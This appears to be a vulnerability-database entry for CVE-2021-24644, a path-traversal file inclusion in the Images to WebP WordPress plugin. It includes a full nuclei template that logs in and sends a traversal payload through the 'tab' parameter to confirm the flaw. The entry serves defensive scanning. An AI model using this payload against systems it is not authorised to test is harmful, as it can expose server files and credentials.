HexBrain

Browse / CVEs / CVE-2021-24644

CVE-2021-24644· imagestowebp project / images to webp· CWE-22

Images to WebP < 1.9 - Authenticated Local File Inclusion

highseverity
7.5CVSS score
5.9%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

The Images to WebP WordPress plugin before version 1.9 did not validate or sanitize the tab parameter before using it in the include() function.

Impact

Authenticated attackers can read arbitrary local files from the server via path traversal, potentially exposing sensitive configuration files, credentials, and system information.

Fix

Fixed in 1.9

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/upload.php?page=images-to-webp.php&tab=..%2F..%2F..%2F..%2Fwp-links-opml
Positive when: status_code == 200 and contains_all(body, "wp-links-opml", "Images to WebP") and regex('[A-Za-z]{3}, [0-9]{2} [A-Za-z]{3} 20[0-9]{2}', body)

Run it with nuclei: nuclei -id CVE-2021-24644 -u <target>

The full check
id: CVE-2021-24644

info:
  name: Images to WebP < 1.9 - Authenticated Local File Inclusion
  author: Sourabh-Sahu
  severity: high
  description: |
    The Images to WebP WordPress plugin before version 1.9 did not validate or sanitize the tab parameter before using it in the include() function.
  impact: |
    Authenticated attackers can read arbitrary local files from the server via path traversal, potentially exposing sensitive configuration files, credentials, and system information.
  remediation: Fixed in 1.9
  reference:
    - https://wpscan.com/vulnerability/5a363eeb-9510-4535-97e2-9dfd3b10d511/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24644
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24644
    cwe-id: CWE-22
    epss-score: 0.05875
    epss-percentile: 0.93271
    cpe: cpe:2.3:a:imagestowebp_project:images_to_webp:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: imagestowebp_project
    product: images_to_webp
    framework: wordpress
    publicwww-query: "/wp-content/plugins/images-to-webp/"
  tags: wpscan,cve,cve2021,wordpress,wp-plugin,images-to-webp,lfi,authenticated,intrusive,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/upload.php?page=images-to-webp.php&tab=..%2F..%2F..%2F..%2Fwp-links-opml HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "wp-links-opml", "Images to WebP")
          - regex('[A-Za-z]{3}, [0-9]{2} [A-Za-z]{3} 20[0-9]{2}', body)
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from